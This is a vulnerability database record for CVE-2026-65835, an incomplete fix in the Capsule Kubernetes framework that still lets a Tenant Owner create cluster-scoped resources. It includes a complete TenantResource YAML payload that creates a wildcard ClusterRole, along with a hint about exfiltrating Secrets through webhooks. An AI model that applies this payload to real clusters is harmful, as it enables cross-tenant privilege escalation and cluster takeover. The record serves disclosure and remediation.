{"id":"CVE-2026-65835","aliases":["CVE-2026-65835","GHSA-jr6p-8pjj-mfx6","GO-2026-6157"],"related":[],"kind":"vulnerability","state":"published","title":"Capsule: Incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)","summary":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedItems, allowing a Tenant Owner to create cluster-scoped resources such as ClusterRole or ValidatingWebhookConfiguration through the cluster-admin controller client. This issue is fixed in version 0.13.8.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedItems, allowing a Tenant Owner to create cluster-scoped resources such as ClusterRole or ValidatingWebhookConfiguration through the cluster-admin controller client. This issue is fixed in version 0.13.8.","source":"cvelist"},{"lang":"en","text":"### Summary\nCVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources\n(e.g. `ClusterRole`, `ValidatingWebhookConfiguration`) through a `TenantResource`, because the controller\napplies them with its cluster-admin ServiceAccount and `SetNamespace` is ineffective for cluster-scoped\nkinds. The v0.13.0 fix added a cluster-scope rejection guard, but **only on the NamespacedItems selection\npath** (`ResourceReference.LoadResources` -> `IsNamespacedGVK`, error `\"cluster-scoped kind ... is not\nallowed\"`). The **RawItems create path — the exact vector the original advisory named — and the Generators\npath were not given this guard.** The vulnerability therefore persists in all releases **v0.13.0 through\nv0.13.7** and on trunk HEAD (`8d89d6865d`).\n\n### Details\nTenantResource reconcile flow:\n- `internal/controllers/resources/namespaced.go` `reconcile()` obtains the apply client via `loadClient()`;\n  by default (impersonation off, no `Spec.ServiceAccount`) this is the manager client whose SA is bound to\n  cluster-admin (`charts/capsule/templates/rbac.yaml:488-501`, `{fullname}-manager-rolebinding` ->\n  roleRef cluster-admin).\n- `Collector.Collect()` (`collect.go`) processes `spec.RawItems` via `handleRawItem` and `spec.Generators`\n  via `handleGeneratorItem`.\n\n`handleRawItem` (`collect.go:406-425`, trunk HEAD — byte-identical to v0.13.0):\n```go\ntmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)\nobj := &unstructured.Unstructured{}\nunstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)\nif ns != nil { obj.SetNamespace(ns.Name) }   // ONLY mitigation\nreturn obj, nil                                // NO IsNamespacedGVK / allowClusterScoped guard\n```\n`handleGeneratorItem` (`collect.go:382-404`) is the same: it only `SetNamespace`s on rendered objects.\n\nThe accumulated objects flow to `pkg/api/processor/processor_func.go` `Reconcile()` -> `Apply()` ->\n`clt.PatchApply(ctx, c, obj, ...)` (line 167/378) with **no scope check at any point**.\n\nBy contrast, `CollectNamespacedItems` (`collect.go:308`) calls `item.LoadResources(..., allowClusterScoped=false)`,\nand `pkg/template/reference.go:105-107` enforces:\n```go\nif !allowClusterScoped && !isNamespaced {\n    return nil, fmt.Errorf(\"cluster-scoped kind %s/%s is not allowed\", ...)\n}\n```\nSo the guard the fix added is real, but it sits on a different (selection) path than the one the CVE\ndescribed (RawItems create path). For cluster-scoped kinds, `SetNamespace` is ignored by the Kubernetes API\nserver, so the object is created cluster-wide by the cluster-admin client.\n\n**Parent-fix diff confirmation:** in v0.12.4 the RawItems handler in `processor.go` was the vulnerable code\n(`obj.SetNamespace(ns.Name)` then `createOrUpdate` via `r.client`). v0.13.0 refactored this into\n`collect.go` `handleRawItem` but left it without the new guard.\n\n### Proof of Concept\nA self-contained in-process Go test (`incompletefix_poc_test.go`), run against trunk HEAD with go1.26.4,\nproves the asymmetry:\n- `TestRawItemPath_NoClusterScopeGuard`: feeds a `ClusterRole` rawItem to `handleRawItem` -> object returned\n  unchanged, no rejection (PASS).\n- `TestNamespacedItemsPath_HasClusterScopeGuard`: feeds the same `ClusterRole` kind to\n  `LoadResources(allowClusterScoped=false)` -> rejected with\n  `\"cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed\"` (PASS).\n\n```\nVULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;\n            metadata.namespace=\"tenant-ns\" (ignored by API server for cluster-scoped kinds)\nGUARDED:    NamespacedItems path correctly rejected cluster-scoped kind:\n            cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed\n```\n\nEnd-to-end (cluster) reproduction:\n1. Deploy capsule (default Helm) with `rbac.resources.create=true` (the opt-in that exposes TenantResources\n   to tenant owners; the configuration the original CVE applies to).\n2. As a Tenant Owner, create in a tenant namespace:\n   ```yaml\n   apiVersion: capsule.clastix.io/v1beta2\n   kind: TenantResource\n   metadata: {name: pwn, namespace: <tenant-ns>}\n   spec:\n     resources:\n       - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}}\n         rawItems:\n           - apiVersion: rbac.authorization.k8s.io/v1\n             kind: ClusterRole\n             metadata: {name: tenant-escalation}\n             rules: [{apiGroups: [\"*\"], resources: [\"*\"], verbs: [\"*\"]}]\n   ```\n3. Observe the cluster-scoped ClusterRole `tenant-escalation` is created by the cluster-admin controller,\n   despite the tenant owner lacking cluster RBAC to create it. Swap in `ValidatingWebhookConfiguration`\n   to intercept/exfiltrate cluster-wide Secrets.\n\n### Impact\nA Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all\ntenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not\nclose the RawItems/Generators vector.\n\n### Remediation\nApply the same `IsNamespacedGVK` / `allowClusterScoped` rejection inside `handleRawItem` and\n`handleGeneratorItem` — or centrally in `Collector.AddToAccumulation` / `processor.Apply` — so the create\npath enforces the same cluster-scope policy as the selection path. (`GlobalTenantResource` shares the path\nbut is not a privesc — cluster-admin-only to create.)","format":"markdown","source":"ghsa"},{"lang":"en","text":"Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation) in github.com/projectcapsule/capsule","format":"markdown","source":"go"},{"lang":"es","text":"Capsule es un framework multi-inquilino y basado en políticas para Kubernetes. Desde la 0.13.0 hasta la 0.13.8, después de la corrección incompleta de CVE-2026-22872, los TenantResource RawItems y Generators en internal/controllers/resources/collect.go, incluyendo handleRawItem y handleGeneratorItem, no aplicaron la protección de rechazo de recursos de ámbito de clúster ResourceReference.LoadResources e IsNamespacedGVK utilizada por NamespacedItems, permitiendo a un Propietario de Inquilino crear recursos de ámbito de clúster como ClusterRole o ValidatingWebhookConfiguration a través del cliente controlador cluster-admin. Este problema está solucionado en la versión 0.13.8.","source":"nvd"}],"published":"2026-07-30T19:53:52.769Z","modified":"2026-10-23T22:10:00.160Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L","score":6.6,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L","score":6.6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L","score":6.6,"rating":"MEDIUM"}],"cwes":["CWE-269","CWE-863"],"affected":[{"ranges":[{"version":">= 0.13.0, < 0.13.8","status":"affected"}],"vendor":"projectcapsule","product":"capsule","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.13.0","status":"affected","fixed":"0.13.8"}],"ecosystem":"Go","package":"github.com/projectcapsule/capsule","purl":"pkg:golang/github.com/projectcapsule/capsule","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.13.0","status":"affected","fixed":"0.13.8"}],"ecosystem":"Go","package":"github.com/projectcapsule/capsule","purl":"pkg:golang/github.com/projectcapsule/capsule","source":"go"}],"references":[{"url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-jr6p-8pjj-mfx6","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.8","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65835","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/projectcapsule/capsule","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-31T19:16:44.046Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-65835","url":"https://www.cve.org/CVERecord?id=CVE-2026-65835","licence":"CVE Terms of Use","modified":"2026-07-31T19:17:25.535Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jr6p-8pjj-mfx6","url":"https://github.com/advisories/GHSA-jr6p-8pjj-mfx6","licence":"CC-BY-4.0","modified":"2026-08-18T15:10:37.283Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6157","url":"https://pkg.go.dev/vuln/GO-2026-6157","licence":"CC-BY-4.0","modified":"2026-08-18T15:00:18.898Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-65835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65835","licence":"Public domain","modified":"2026-10-23T22:10:00.160Z"}],"updatedAt":"2026-11-25T22:59:30.657Z","epss":{"score":0.00235,"percentile":0.15496,"date":"2026-12-01T12:00:22.000Z"}}